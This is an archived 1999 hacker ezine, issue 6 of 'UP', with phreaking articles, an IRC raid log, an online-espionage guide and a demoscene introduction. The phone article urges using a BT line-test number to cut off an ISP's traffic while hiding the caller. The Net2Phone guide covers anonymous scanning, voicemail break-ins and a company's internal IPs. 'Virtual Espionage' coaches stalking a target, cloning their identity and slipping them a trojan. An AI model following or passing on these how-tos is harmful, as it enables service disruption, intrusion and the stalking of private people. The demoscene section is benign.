💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › UP › up-6.txt captured on 2022-01-08 at 17:35:21.
View Raw
More Information
⬅️ Previous capture (2021-12-05)
-=-=-=-=-=-=-
___________ _______________________________________
", / / ___ _.-'' '.
/ / / / /NDERGROUND> .' _ |
/ / / / / _______ / / \ /
/ / / / / / ___ \ / __/_.' /
/ / / / / / /__/ / /.-'' .'
/ / / / / / _____.' /_________..-'
/ / / / /___/ /_ / /
/ / / '.____ __/ / /
| / / / / / /
\ | _.' /__/ERIODICAL> / /
'-._'..-'_______________________________/__..-'
"We're On The Up and Up"
:..:..::..Issue..::..:..:
Issue 6 October 1999
:..:..::..Staff..::..:..:
CrossFire - Editor
ergophobe (Walrus) - Writer
Darkflame - Writer
::::::::..:..::.Website.::..:..::::::::
http://members.xoom.com/under_p
:..:..::..Email..::..:..:
under_p@yahoo.com
:.:.Alternative Hosts.:.:
ftp://t245.dccnet.com:95001
http://www.swateam.org
http://surf.to/maquishacker
:..::..Introduction.::..:
<*> As you can see, Sadly Cyborg has left the UP staff, and I
(CrossFire) have replaced him as editor. Cyborg left because
of his upcoming exams (good luck btw m8), his new part time
job (Work - Aargh), and the removal of the page from Ecad.org.
Also Sadly HitMan has left the staff too, I was actually expecting
that because HitMan and Cyborg are friends irl, and he doesn't have
time for the mag any more.
Still, we have a new staff member this month, Walrus (Or Ergophobe
as you may know him) will now be doing some reviews of up and coming
producers. Over the next couple of issues you will notice a change
in the topics covered in Up, we will still be doing the same Hack
/ Phreak / General Underground Stuff, but the mag will start to
showcase more stuff to do with The Demoscene, and The Tracker Scene,
I also Hope that the mag will have a lot more technical articles.
We Have Also formed an alliance with APT, Swat and Prick - Find Out
More On The Krash Website (http://surf.to/krash).
Some Of These Articles Were Included without the permission of the
authors - this is mostly Because I simply couldn't contact them,
most likely because they include no contact details in the files. All
the files in Up6 Are Top Quality (Well I think so) - No Crap Will go
into this mag (except some irc logs :)
<*> Thanks To Everyone who contributed to Up6. Most Shouts are at the bottom.
If I Forget you then Sorry - I'm a forgetful person generally :)
CrossFire
:..::.:..Contents.:.::..:
<*> 0 - Introduction And Contents....: CrossFire
<*> 1 - More Fun With A Phone........: ergophobe
<*> 2 - Invasion of #smurf...........: #cocytusUK
<*> 3 - A Phreaks Guide to net2phone.: Mob Boss
<*> 4 - Virtual Espionage............: Mob Boss
<*> 5 - Intro To The Demoscene.......: CrossFire
<*> 6 - More 'features' in Win 9x....: ergophobe
<*> 7 - LameLog......................: Exegency
<*> 8 - Compuserve Password Finder...: Exegency
<*> 9 - Underground Music Reviews....: Walrus & CrossFire
<*> 10 - IP Spanking..................: #hackphreak
<*> 11 - Pirch Passwords..............: Exegency
<*> 12 - Mr Brewer The Pirate.........: Bruce Orwall
<*> 13 - The ICQ So Called Protocol...: Bugtraq
<*> 14 - ICQ Homepage Exploit.........: Shadow51
<*> 15 - Beginners Phreaking In The UK: uV & Senor Cardini
<*> 16 - Hit The Major Search Engines.: Author Unknown
:..:URL Of The Month.:..:
Hack / Phreak
http://surf.to/krash
*Excellent* Site run by the APT Boys.
Home of the Underground Alliance
Hardcore
http://www.walrus.bog.net
Excellent site run by UP Writer - Walrus
AND
http://www.happycore.co.uk
The Dizzy Kru - Soon To Be Open
Demoscene
http://www.ukscene.org
UKScene - Dejavu - pukka
:..::..Shouts..::..:
CrossFire's Shouts: Cyborg, ergophobe, Darkflame, Erebus, Ody, DanNet, Netw0rk Bug, Firestarter, Brakis, crashd, tefx, linealtap, Megan, Sunburst, Darkcyde, Maquis Hacker, Exegency, Mob Boss, Shadow51, The Bugtraq List, DJ Majestik, DJ Smurf, DJ H@TTRiXX, MC C@TTYSARX, The Rest Of The Dizzy Kru, The Oldskool List, and the HappyCore List.
Send all praise, fanmail, gifts and e-cards to crossfire@hackers-uk.freeserve.co.uk . Send all flames to couldnt.give@toss.co.uk
ergophobe's shouts:
Erebus, psi, Pyr0-Pr0xy, CrossFire, Tefx, linealtap, everybody I forgot and 'The New York Bagel co.' (food of the gods).(and food of ergophobe by the looks of it :-) - Ed)
And if anybody wants to get in contact with me, send all your comments/feedback/fan mail/gratuitous abuse to ergophobe@dial.pipex.com
_____ _____ ___ ___ __
/ | \| _ \ \ \/ /| |
/ \ __/ \ / | |
\ / | \ / | |
\_____/|__| \/ |__|
PRESENTS:
More fun with a phone
~~~~~~~~~~~~~~~~~~~~~
By: ergophobe
Short and sweet I know, but there's really not a lot to be said.
There have been a lot articles written about using 175 and 17070 to perform tasks such as ringback linetests and shutting down the line. Well, a friend of mine was doing an 0800 scan recently and found an alternative. 175 and 17070 are both becoming more increasingly difficult to use now, and only worked on certain types of phones in the first place. This one can be dialed from every phone we've tried it on (quite a lot) including several different moblies, land lines and just about every type of payphone we've been able to find including a Eurobell one.
So "what is this magical number?" I hear you cry. 0800 373983 should do the job nicely. Use it in the same way that 17070 was used.
For those of you who are not familiar with 17070 (if you've been living in a cave or something), forst it will tell you what the number you're phoning from is, then it will just give you a list of options, and you press the button that corresponds to the option you want.
The options are:
1 Rings the phone back when you hang up
2 Quiet line
3 Gives you another set of options for testing lines in various ways (this is absolutely hilarious, it says "press 1 if you have been authorised to use this system, or hang up. If BT really think anybody is going to hang up at this point they are even dumber then I thought!!!)
4 Hangs up (clear down).
Option 3 is probably the most useful of them. It allows you to test and shut down lines in various different ways. Possibly the best thing is the "cable pair idnetification" option. This will cut off any traffic to the line that you identify. Very handy for cutting people off when you want to get through. I've not tried this one YET, but a cable pair identification on an ISP could cause some serious havoc. Try it on 0845 0796699 (freeserve) for example. This option really has some potential. If you are planning on cutting off all the traffic on the line of an ISP, for gods sake do it from a phonebox or a ripped mobile. You shouldn't really need to be reminded of these things, but anybody can make a mistake.
It is worth noting that if you're trying this from a phone which uses pulse dialing (WHY?) then you'll need your tone dialer handy, as it needs the tone for the number rather than the clicks.
I'd have to say that just about covers this particular topic, but try experenmenting with the options that this little number gives you, as you never know how useful they may turn out to be.
ergophobe#smurf Logs - By CrossFire et all
Rightie Ho, here's what happened when the #apt crew invaded #smurf . Germans eh?
CrossFire = OingenPoingenBoy (der) , DanNet = Smurf, NBug = Netw0rk Bug, M0RPH = Erebus.
Session Start: Sun Sep 05 11:19:59 1999
- ** Now talking in #Smurf
- ** Topic is '#Smurf .- Oingen Poingen Drinken Doingen :) ( http://home.sol.no/~timki/smurf.html )'
- ** Set by [General] on Sun Sep 05 04:08:51
-[GenBot]- Velkommen til #Smurf - CrossFire - Bes�k ogs� min hjemmeside Http://home.sol.no/~timki
- ** Nbug (bug@host62-172-63-2.btinternet.com) has joined #Smurf
<DanNet> WHAT A SHIT CHANNEL !
<DanNet> LOL !
- ** Nbug (bug@host62-172-63-2.btinternet.com) has left #Smurf
- ** M0RPH (~m0rph@host5-171-253-27.btinternet.com) has joined #Smurf
<CrossFire> Bwaaaaaaaaaaaaahahahahaha
<DanNet> Hello English People !
<M0RPH> HELLO
<CrossFire> Hello You German Peeeeeople!
<[SmurFen]> hi CrossFire
- ** M0RPH (~m0rph@host5-171-253-27.btinternet.com) has left #Smurf
<CrossFire> Ok thats freaking me out
<DanNet> All The Germans Here ! HELLO !
<DanNet> LOL
<[SmurFen]> lol damn!
<CrossFire> Smurfen: So whats this chan about
<Artica> *lol*
<DanNet> My Nickname at school is smurf !
<Artica> you realize that youre talking to a bot..?
<CrossFire> Heh, my nickname at school is robin hood but i don't brag about that :P
<DanNet> LOL !
<[SmurFen]> lol damn!
<DanNet> Shut the fu** UP BOT !
<CrossFire> heh Bots r00l supreme
<DanNet> :)
<DanNet> Hey Can I Get Ops In Here ?
<Artica> no
<DanNet> Why ?
<CrossFire> heh, the female smurf is pretty cute...
<Artica> no way, no how
<Artica> just cuz.. okki?
<CrossFire> Oooh, I Like it when girls talk tuff :)
<DanNet> Shut up she anint no smurf if she won't give ops to a fellow smurf !
<CrossFire> I bet she's not even blue
- ** DanNet was kicked by Artica (I WILL, however, kick your ass outta here.. byebye sucker)
(Ed- Tuff room innit?)
- ** DanNet (~Daniel_fr@host212-140-99-156.btinternet.com) has joined #Smurf
- ** Artica sets mode: +b *!*@host212-140-99-156.btinternet.com
<DanNet> #usap
- ** DanNet was kicked by mentos (banned)
<Artica> dumdidumdidei..
<CrossFire> Outta Here Bods... Respectacles :P
Session Close: Sun Sep 05 11:24:23 1999
A Phreak's Guide to Net2Phone
By: The Mob Boss
Net2Phone (www.net2phone.com) is an Internet telephone company, which was founded under IDT Inc. They provide good rates for international and domestic phone calls all placed over the Internet. Time is bought with a credit card right through their site or over the phone. Net2Phone is both half-duplex and full-duplex. At this time is runs on a Windows 95/98/NT platform. One of the most appealing things to hackers and phreakers is the free registration and calls to toll free numbers. You can register and download the software all without paying a dime and then use it to place calls to 800, 877, and 888 numbers, no questions asked. This allows phreaks from other parts of the world to access numbers native to the United States and it allows domestic hackers and phreakers the opportunity to make somewhat anonymous calls. When you make a call with Net2Phone the number will show as (212) 402-0000, a number in New York City. When you give that number a call you see its a "non working number", or so the computer voice will tell you. So this can be used for some very devious things if one was so inclined. Now as for some uses for this, you can use it for exchange scanning. With most telco's wising up to programs like Toneloc, scanning by hand is becoming the thing to do. Even then, it's somewhat risky, especially when dealing with toll free numbers. As we all know the reason toll free exchanges are so feared is because of the dreaded ANI that they are equipped with. With Net2Phone you can scan and mess with whatever you like with a fairly good piece of mind. It would be far better to attempt to get into a voice mail box through Net2Phone rather then your home line since they might notice your number keeps showing up on their bill and just give you a nice little call. Another thing that you can do with Net2Phone is make certain calls through the operator. Now this requires a little more thought because Net2Phone doesn't really want you to call other services to place your calls. For instance 1-800-Call-ATT is blocked and so is the beloved 1-800-Collect. So to get around this we must find numbers that aren't blocked. Now this is easier then you think. Here are some useful numbers I have found not to be blocked, for an AT&T operator call 1-800-Operator, for a 1-800-Collect operator call up 1-888-Collect, for Sprint service call up 1-888-One-Dime. I am sure there are plenty more as well so when these go dead some day just look for small companies who do collect service. From these numbers I have found you can readily do collect calls and third party billing calls. So far I haven't been able to make any operator assisted calls but with some social engineering I am sure it's possible. And the reason I think you may be able to eventually op divert is due to the fact your not calling from a payphone or anything. With some hardwork and patience it can be done. Now as for the setup of Net2Phone I have found they are not the biggest on security. Outside of the firewall I found some interesting things such as their 3Com Superstack II Switch Login at 198.4.75.6, I also found what appears to be routers at 206.20.53.30, 206.20.53.46, 206.20.53.62, 206.20.53.81. So it seems there operation runs through that Superstack II switch to some sort of standard telephony switching possibly, which would obvisouly be some sort of electronic switching. Another thing I have yet to mention is the fact that you can use calling cards that have toll free numbers with this service and even use the free calling card, Freeway, available at www.broadpoint.com. Net2phone is a interesting and rich little service and I hope all that read this will not attempt to rip them off (too much at least) but rather learn about the new dynamic field of internet telephone which seems to be advancing and expanding every day.
-The Mob Boss; http://mobboss.dragx.cx
Voice mail and fax: 1-877-203-3043
Edited By: Glock
_____________________
/ * BBS LIST * /|
/____________________/ |
| |M |
| The Sacrifial Lamb|O |
| english.gh0st.net |B |
| | |
| Ripco BBS |B |
| ripco2.ripco.com |O |
| |S |
| The NorthLand |S |
| Underground BBS | |
| nub.dhs.org | |
| | |
| L0pht BBS | |
| bbs.l0pht.com | /
|___________________|/
This has been a publication written by THE MOB BOSS;
He is in no way responsible for the accuracy or results from the use of info in this article.
Anything done is totally done at the users discretion.
THE MOB BOSS in no way or form supports, aids, or participates
in the act of criminal hacking or phreaking.
Any ideas, beliefs, and information gathered in all publications published by THE MOB BOSS
are strictly for informational purposes only.
THE MOB BOSS � 1999 all rights reserved
Virtual Espionage
A guide to doing it and protecting yourself from it
By: The Mob Boss
Espionage is something that goes on everyday. No I am not
talking about the movies and I am not talking about the
bullshit you see on your local news. I am talking about the
information gathering that goes on every day, specifically
the kind that goes on the vast world we call the internet.
Lets face it the net and phone network has become something
of virtual world. It's a place where shopping, work,
communication, and leisure occurs on a day to day basis. If
you think about it, this creation of a new world was
inevitable with hundreds of people from all over the world
discovering it for the first time each day. With some much
information on one network is it that bizarre to think that
someone might want to gather more information then they were
meant to know. To want to find out information about someone
else on that vast network is not so strange when you
consider the many people who LIVE on IRC and other means of
communication. Not to mention with so much money flowing
through those phone and cable lines, its obvious someone
might want to steal it. Now it's nothing to be paranoid about
and its not something to avoid the web over, its just
something to be aware of. For instance how do you know
someone you pissed of on IRC is spying on you? How do you
know some law enforcement agency is not monitoring a channel
or newsgroup you frequent? Well that's what this article is
about so if you still interested keep on reading.
Ok so you understand there are prying eyes and ears out
there so what kind of precautions do you plan to take? That
depends on what kind of things you do online. For instance
if you are some sort of holy man online then I doubt the
government is concerned with you. But let's consider you
someone who thinks freely and does things that might be
somewhat questionable, then you might want to consider
watching yourself. First step to becoming anonymous on the
web is thinking about what forms of identification there are
to tell who you really are. In real life that may be your
drivers license, fingerprint, or signature. Online though,
your IP, email address, and most importantly your phone
number will lead back to you. The key is learning how to
bypass that. For instance your IP address is left whenever
you visit a page, whenever you sign on to chat, when ever
you post to a discussion group. So what can you do about
that you ask? You can bounce your IP. Something we can use
to achieve this is proxies and wingates. Now although it
seems simple enough most people don't go through the trouble
of doing this for everyday things. I suggest that if you
have two web browsers, that at least one of those should
have an http proxy setup on it. So it slows you down a
little, no big deal, good things come to those who wait.
Here's a freebie proxy which will probably go dead as soon as
I release this, proxy.escape.ca:3128, now that should be
placed in your preferences under proxies. Read the help file
for your browser to see the specifics on how to specify your
proxy. Most HTTP proxies run on either 8080 or 3128 so if
that one goes dead just fire up nmap or your favorite
scanner and look for IP's connecting on those ports. Now for
you IRC chatting you have the option of either using a
wingate, which is something like a proxy that connects on
port 23 and identifies itself by the "wingate>" prompt, or
you can use an IRC proxy, which will probably be easier,
especially if you are using some sort of mIRC. I personally
like wingates when I use BitchX and proxies for when I use
mIRC. That's my personal opinion but feel free to form your
own thoughts. Now if you don't already know how to use a
wingate there are plenty of good texts out there on it. One
I strongly recommend is by a friend of mine Alphavers, I
don't know exactly remember the name but you can obtain it
directly from him on Undernet #ANSI, he's on there all day,
seven days a week. As for IRC proxies I am not going to give
a freebie of this because I don't have more then two at the
moment myself, I will say though they run on port 1080
(socks proxy) so like I said earlier fire up that IP
scanner. You can also use a proxy to telnet, FTP, and even
send mail by directly connecting to the smtp port (25). As I
suggested earlier read up on wingates. If you would like to
see a wingate for yourself you can always find the ones that
were g-lined on IRC by giving the "/stat g" command, just
look for exploitable wingate or too many connections and
telnet to it. Most likely you will be sitting at the wingate
prompt. Now that you are protecting your IP, what are you
doing about giving information under your own free will? One
thing that a lot of people do which is very, very, stupid is
having their full name on their email address. If you do
then its a good idea to keep that email address private and
open up a free web-based email address such as one available
at http://mail.yahoo.com or www.hotmail.com and use fake
info only providing your internet handle. So now using a
http proxy and an email address with fake info, you know
have become somewhat anonymous because those headers will
automatically show the IP of your proxy rather then yours
when you send an email. Now another thing to consider is
what you say online. Posting to some sex newsgroup and then
using the same email address on Usenet to get involved in
something else is probably a bad idea because those records
of where you post are available to the public through
www.dejanews.com and will probably be dug up. Also what do
you tell people about yourself. Do you mention your real
name to people? Do you tell people where you work or talk
about your family? All those things can be used against you.
Someone following you around in chat may be able to gather
quite an extensive amount of information about you. Keeping
your mouth shut may be something that comes hard at first
but will definitely be worthwhile in the long run. You don't
have to make like the dumb guard from Hogan's Heroes and do
the "I know nothing" routine but being somewhat vague is
definitely something smart. You don't want to make others
suspicious of you but keeping your information private is
what is the number one priority. Keep an eye out to see if a
certain nick keeps popping up in the same channel or chat
room you are in. Using the same street smarts you would use
in real life are just as important on the net.
Now that you know how to protect yourself its time to
learn how to go on the offensive. How to become on the
virtual James Bond. Most likely it won't be that exciting
but it may come in handy. Lets start off by sizing up the
target. Who is he? What does he do online? What is it we
want to know or achieve? Once you have questioned your
motives you are ready to begin. Setting up a dossier on the
person is the first step. You should begin to note
everything you already know about the person such as their
handle, email address, ISP, and anything else you know off
the top of the head. Secondly find out where they hang out
and what handle do they go by. Frequent the places they go
and follow them if you can but don't make the person
suspicious or you will fuck up your whole operation. Note
who their friends are. If you can get the persons AIM screen
name, Yahoo Pager handle, or ICQ number by all means add
them by using any excuse you can or don't give an excuse. If
questioned by the person ignoring them might be the best
bet. Getting to know their patterns for coming online is a
good idea so you can know when to expect them. Now by doing
all this you are putting yourself in a position to be able to
spy on them and even clone their online identity. Posing as
someone who uses AOL as his or her ISP would definitely be easy
because those accounts are not too difficult to get. Noting
their ident on IRC is also a good idea if you ever plan to
try to snatch information by posing as them. Now I highly
recommend you do the background work before you try that so
that you don't screw up and blow your cover. Now after you
have done that its time to give yourself a new identity and
try to get close to them. Now if the person is usually very
friendly then it shouldn't be too hard. Hang around where
they do under your new identity which should be from a
forged IP, a free email account with bogus info, and
anything else someone online might have a like ICQ. Get to
know the person and add to the conversations. Make friends
with the person, never hinting who you are. Your own
boasting is what might get you in trouble as it always seems
to do it to everyone. Now for instance if this person is
into h/p sharing some good info that you know they would be
interested is something that you should attempt. If you
share enough real info with them they may trust you enough
so that you can slip them a trojan if you feel the need. Now
I am in NO way advocating the use of trojan's but if you must
you must to obtain your goal then use your best judgement
and let it be on your head. By this time you should have
already checked their computer by scanning it, seeing what
operating system they use as well as any security breaches
may be possible on it. Use your creativity and you will be
fine. Gaining their trust is something that should not be
rushed, if you do then its highly likely that you will fail
in your motives.
That's it for this article, I know this is a little
different from my usual articles but I think its something
everyone on h/p scene should be aware of since I have seen
this on many notes throughout my career and felt it should
be addressed.
-The Mob Boss; http://mobboss.dragx.cx
Voice mail and fax: 1-877-203-3043
Edited by Glock
_____________________
/ * BBS LIST * /|
/____________________/ |
| |M |
| The Sacrifial Lamb|O |
| english.gh0st.net |B |
| | |
| Ripco BBS |B |
| ripco2.ripco.com |O |
| |S |
| The NorthLand |S |
| Underground BBS | |
| nub.dhs.org | |
| | |
| L0pht BBS | |
| bbs.l0pht.com | /
|___________________|/
This has been a publication written by THE MOB BOSS;
He is in no way responsible for the accuracy or results from the use of info in this article.
Anything done is totally done at the users discretion.
THE MOB BOSS in no way or form supports, aids, or participates
in the act of criminal hacking or phreaking.
Any ideas, beliefs, and information gathered in all publications published by THE MOB BOSS
are strictly for informational purposes only.
THE MOB BOSS (c) 1999 all rights reserved
Intro to The Demoscene
By CrossFire
Odds on, Quite alot of the Up Readers will have encountered the demoscene sometime in their underground career. If you haven't, Let me explain. A Demo is a program which displays graphics, music, and coding effects in one big light show, and the scene around it is called..... Wait for it........ The Demoscene!
Unless You have been asleep for the past 2 or so Years, you will undoubtedly have heard of the Tomb Raider Series of games, made by Eidos Interactive. Some of the staff at this great software company were former members of the Scene Group, The Black Lotus. For Example, Danny Guertsen (danny.geurtsen@eidos.co.uk), IMHO Danny is the Greatest Graphician to ever walk this earth. Unfortunatley Danny is no longer a scener, and only pixels for Eidos These Days.
Important Groups to Look for:
Future Crew: These guys made some amazing demos, and really revolutionized
the demo-scene, in the early 90's, and did a lot to mold it
into what it is today. Recently they released their
(final?) demo, Final Reality.
Of course this wasn't officially a demo, neither was it
officially by Future Crew. It is a 'benchmarking utility'
developed by their games-company Remedy Entertainment.
It runs under Windows'95, and needs a hell of a machine
to run at a decent frame-rate. It runs quite slow on my
P133 with 3Dfx.. If you have a state-of-the-art machine,
with a 3D-card, I'd recommend it, otherwise steer clear..
What these guys *have* proven however is that the demoscene
can indeed be a road to success. They are currently
developing 'Max Payne', the replacement of the
'Duke Nukem'-series, for 3D Realms.
They've gone totally commercial though, as I've predicted....
Some of the greets from Final Reality: Siemens Nixdorf, Intel,
IBM, MICROSOFT!!! That's right: MICROSOFT!! Jeez...
Their past glory can be witnessed in:
Unreal, Panic, Second Reality, Yo!, and lots of other demos.
Have to be seen to be believed. If you want to see what their
doing now, buy Max Payne, or that car-game they did,
or get hold of Final Reality..
Used to be thought of by many as the ultimate demo-group.
I never have shared that view, and lately my feelngs to that
direction have been enhanced. Pioneers of making newbies
feel like lamers..
From Finland.
EMF: The Electromotive Force, to give them their full name is one of the
best groups ever, in my opinion.
They were in the same league as the Future Crew,
and today they go beyond what I believe the Future Crew could today,
in the terms of demo-design.
They are still going strong(?), and have had a lot of success at
demo-parties. You should get hold of Verses, Eclipse, Caero, and Porno.
Four very good productions from EMF. (Caero was by EMF & Plant.)
A lot of the EMF-people are also members of Plant.
They've been a bit to silent lately for my liking,
and I don't think I'm the only person who noticed the disappearance
of emf@mea.utu.fi.... I really hope they're not quitting.
Perhaps they've dropped EMF, and merged with Plant? Anyone know?
From Finland.
Triton: They've also been around as long as the others, and they made
the tracker that a lot of demo-scene musicians use today:
FastTracker II. Triton are remembered today by many as:
"The ones who finally beat Future Crew", as the release of
Crystal Dreams II pushed FC of the no.1 spot in the charts.
They released two good demos: Crystal Dreams, and Crystal Dreams II.
Today they are involved in the gaming business, and have run into a
little legal trouble with GT interactive, according to the rumours.
From Sweden.
Komplex: They've been around for a while, and are among the best groups today.
Dope is pretty impressive, but if you want the full experience
you will need a GUS for sound. A lot of people would call Dope
one of the best demos ever released, but I kind of think it lacks
something. Can't quite put my finger on it..
They are obviously eager to grasp new technology,
as they were the first demosceners to make good demos for both
3Dfx and Java. Their Java-demo will truly blow your mind.
It has proven to me that it is possible to make demos in Java.
They're a brilliant group, and they make brilliant demos.
Yet another example of finnish talent.
For some strange reason they are now Komplex, not Complex...
From Finland.
Valhalla: Great group with huge success. They go a long way back,
and are still today among the best groups.
As opposed to a lot of great groups they are not arrogant,
and they don't mind speaking to newbies it seems. Nice guys. :)
Check out Visions Of Light, Solstice, and their OS/2 promo-demo.
You'll be in for a treat.
Have these guys also left the demoscene??
From England.
Hornet: Really good group. Not very many productions, but they are the
foundation of the demoscene on the Internet. Without them I do not
think the scene would be as international as it is today.
The Hornet Archive is really as close you'll get to the DemoScene's
www-headquarters. Explicit is a cool demo by Hornet.
From USA.
Orange: I have to admit that I don't know to much about this group.
I have a few demos & intros by them, though.
They're a totally different group from all the others.
Originality is definetely their main trait. They are very skillfull.
Their productions are both weird, and cool. One of the most popular
groups around lately. Masses of stuff too look for;
I especially like 'Compost', a '70s-style demo!
Another popular demo by them, is 'The Secret Life of Mr. Black'..
Weird..
From Finland (?).
Psychic Link: Pretty new group, compared to the others I've mentioned here,
but they look like they have a chance of being the next
revolutionaries. At least Statix, a real wizard.
Act1, Juice & Headache should be seen.
I also think Paper is one of the best designed 64K-intros ever.
From England.
COMA: A good and different demogroup. They've done some really
impressive stuff, but to understand why I decided to put them here
you have to see their intro Stikman. NOW! After you've seen that
you'll need to know they can code other stuff as well.
Then you can take a look at the demo called Control.
You could watch another popular demo: Insects,
or their TG98 demo. It may just be a joke for TG98,
but in their TG98-demo they call themselves KOMA,
like Complex called themselves Komplex.
From Finland.
TBL: The Black Lotus are the undisputed rulers of stuffing most data into 64K.
Way to go! I would be impressed if their 64 KB intros were 2 MB demos!
Take a look at Jizz or Stash to see what I mean.
From Holland & Sweden.
Pulse: I love them for their blend of oldskool-style combined with their
up-to-date coding. Today's code/gfx/music, yesterday's superior style.
Brilliant group, currently no.1 on the Hornet Charts.
Take a look at Square, Tribes, Reve, Broken Pipe, Sink,
and lots of other stuff.
From Poland & France.
(Group listing Taken from the Demoscene Starter Kit V3.0)
Where to Meet sceners:
IRC
---
IRC is probably the greatest way to meet sceners from all over the world, so I have included a listing (categorised by server) of some of the best channels to meet demosceners from all around the world. Note: You must have an IRC Client to be able to access IRC - try www.mirc.co.uk for windows 95 or www.bitchx.com for Unix.
IRCNET (irc.stealth.net)
------------------------
Channel Description
#coders Probably the most well known Scene IRC channel, mostly normal coders Hang out here but it is often frequented by Sceners
#trax The IRC Channel for the Music Scene
#pixel The Graphics Scene Channel, Famous for it's spontaneous 30 min compos
#thescene A Channel for sceners on PC, C64, Amiga and loads of other platforms, formed by Surfing/Ramjam
#scene The PC Scene HQ
Local scene IRC channels
British ........... #ukscene
Czech ............. #scene.cs
Danish ............ #dk-scene
Dutch ............. #nlcoders
Finnish ........... #suomiscene
French ............ #demofr
German ............ #coders.ger, #kotraum
Hungarian ......... #scene, #coders.hu, #demoscene, #SceneChat
Israeli ........... #ilcoders
Norwegian ......... #daskmig
Polish ............ #polishscene
Slovak ............ #scene.cs
Slovenian ......... #scene.si
Swedish ........... #scene.se, #swedescene
EFnet (irc.chat.org)
--------------------
Channel Description
#coders As above
#trax The Friendliest Chat Room on IRC (apart from #upzine of course :). I often come in here so look out for me
#pixel Not Very many people hang out here, try IRCnet for more ppl
#scene Ditto
#thescene Ditto
Local scene IRC channels
British ........... #ukscene
Czech ............. #scene.cs
Danish ............ #dk-scene
Dutch ............. #nlcoders
Finnish ........... #suomiscene
French ............ #demofr
German ............ #coders.ger, #kotraum
Hungarian ......... #scene, #coders.hu, #demoscene, #SceneChat
Israeli ........... #ilcoders
Norwegian ......... #daskmig
Polish ............ #polishscene
Slovak ............ #scene.cs
Slovenian ......... #scene.si
Swedish ........... #scene.se, #swedescene
SceneNet (irc.scene.org)
------------------------
SceneNet was founded as an Alternative to AnotherNet which has become largely commercial and proprietry client orientated, the server is totally for sceners, but a bit quiet at times. For a list of all the channels, log on to this server and type /list .
------------
Demo Parties
------------
Another Brilliant way to meet sceners is to go to a demoparty. What is a demoparty You ask? Demoparties are the Demoscene's answer to things like Defcon. With differences that people take their computer's, enter their demo's into competitions, drink, eat, and have fun.
The Party
---------
Undoubtedly the biggest and most commercialised demoparty is TP. Held in Sweden every year, this party is famous for it's bunch of quakers in attendance, last year there was even a report that a group of quakers complained about "Those noisy competitions", still, if you really want to be around Mp3 / Warez / Porno Trading pre pubescant Quakers, then this one is for you.
Website: http://www.theparty.dk
Assembly
--------
Another Big and Commercialised party is Assembly, While this was a well respected party in years past, in the past 2 years or so it has become, well, big and commercialised. Many Sceners fondly remember Parties like Assembly '97, which was probably the last time Assembly was a 100% Scene Party. Recently though, This has changed to the level when Assembly is a clone of it's big brother TP. It still gets worse, Last year a local newspaper got involved and started up Multi Player Gaming Tournaments. Can You say Lamers meeting boys and girls?
Website: http://www.assembly.org
Movement
--------
The Last party I will mention , and probably the best party IMHO is Movement. This party has broken down so many barriers by Hooking up with www.scene-central.com and starting up cyber visiting. Movement is Held in Israel every year now, Movement used to be lucky if it got 80 visitors, now with the widespreadness of the internet, By Registering on the Movement Website, You get a login and password, and oppurtunities to enter and vote on the competitions, watch the party via a webcam, and chat with the sceners actually there via IRC or a java client. For a first time party goer, I would definetly recommend Movement.
Website: http://www.movement.org
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Scene Resources
----------------
DemoScene archives
0-0-0-0-0-0-0-0-0-0
The Best Place to find all the latest Scene Productions are the many archives cluttered about the net, so just for you, here is a list of the best archives around:
The Hornet Archive - http://www.hornet.org
Definetly the most famous Archive in the scene, Hornet is now closed for uploads, but still hosts all the best Demoscene related stuff from 1992 - 1998 .
Trebel - http://www.trebel.org
Trebel was started shortly after Hornet closed as a replacement for Hornet. It is not fully started yet, but the main pages are in place and it has promise to take over where The Hornet archive left off.
Scene.org - ftp://ftp.scene.org
Scene.org is the official replacement to hornet, and although it has been up and running for a while, It now hosts one of the largest archives of demoscene related material on the net.
The Skynet Archive - ftp://skynet.stack.nl/pub/demos
Skynet is the dutch scene's main archive, hosting selected groups and diskmags (Scene related Ezines), this archive is the best place to get anything Scene Related from Holland.
Overflow - ftp://overflow.scene.org
Overflow used to be the Main archive for the Dutch Scene, but has recently been cleaned out and only contains a few productions.
Amber - ftp://amber.bti.pl
Amber is the main server for the Polish scene. There is really much stuff.
However, while it is fast in Poland, it is very slow in the rest of the world.
TEN - ftp://ftp.beit-eli.gov.il/Incoming/ten
The Home of the Emag Network, this site hosts all of the diskmags that are part of The Emag Network, and some that arent.
Aminet - http://www.aminet.org
The Amiga Network. Enough Said. This server carries some of the best amiga stuff around, I can feel the nostalgia just thinking about it :-)
Diskmags
0-0-0-0-0
Diskmags are the Scene's Equivelant of The Underground's Ezines, but with the difference that they are all bundled into one .exe file, with a great interface and often some music to listen to.
HUGI Magazine - http://home.pages.de/~hugidownload
- the* best scene mag around. Period. Hugi is edited by Adok, and features articles for the PC, Amiga and C64 scenes alike. Great interface, Great Graphics and Brilliant music.
Rating: 10/10
Shine - http://shine.scene.org
From What I have seen of this mag, this could well be the pretender to HUGI's Throne. Although not full of content, the latest issues have been really good, and combined with great humor and a great interface, this one is seriously good <g>
Amnesia - http://amnesia-dist.future.easyspace.com
At Last! A UK Based Scene Mag, Amnesia is a pretty much one man operation (Well issue 1 is, I dunno if issue 2's out yet, that might be different.), and Includes articles on Hacking, Phreaking, The Warez Scene, and the demoscene! This mag has great potential, and If it keeps going I predict it will reach the top.
(These are all the diskmags I think are worth including, a) because there isnt many good diskmags around, and b) I can't remember the Imphobia URL for the life of me :P )
Demo's / Intros Worth Seeing
----------------------------
Demo / Intro Name Group Comments
----------------- ----- --------
Second Reality Future Crew Although this is old, this is the demo that got alot of people into the scene. Not Really Stunning compared to newer demos, but good all the same.
Clone Meets Clone Acme A stunning Intro from Acme, This is a must see for anyone interested in the demoscene.
Stash TBL Another Absolutely Stunning Intro, this time from the legendary group The Black Lotus. The Sequel to Jizz.
Jizz TBL The one before Stash, Absolutely Breathtaking.
Sunflower Pulse A Real Landscape in demo's. Coded by the ledgendary Unreal. Leech this *now*.
303 Acme Another Big step in democoding, This is Acme's Best known production. A Must See for anyone.
Square Pulse This demo is pretty recent, and won first place at the party it was released at. Even So, I cannot remember which party it was :~)
Tribes Pulse Boy Pulse Get around :) This demo is rather unique in the fact it tells a story. A must see.
Toys Gods I haven't seen this one, but it is supposed to be great. Get it anyway.
All of these Demos / intro's can be got from ftp://ftp.scene.org .
The End.
Please send your comments on this article to:
crossfire@hackers-uk.freeserve.co.uk , If this article has good feedback, i may write a series of demoscene related articles.
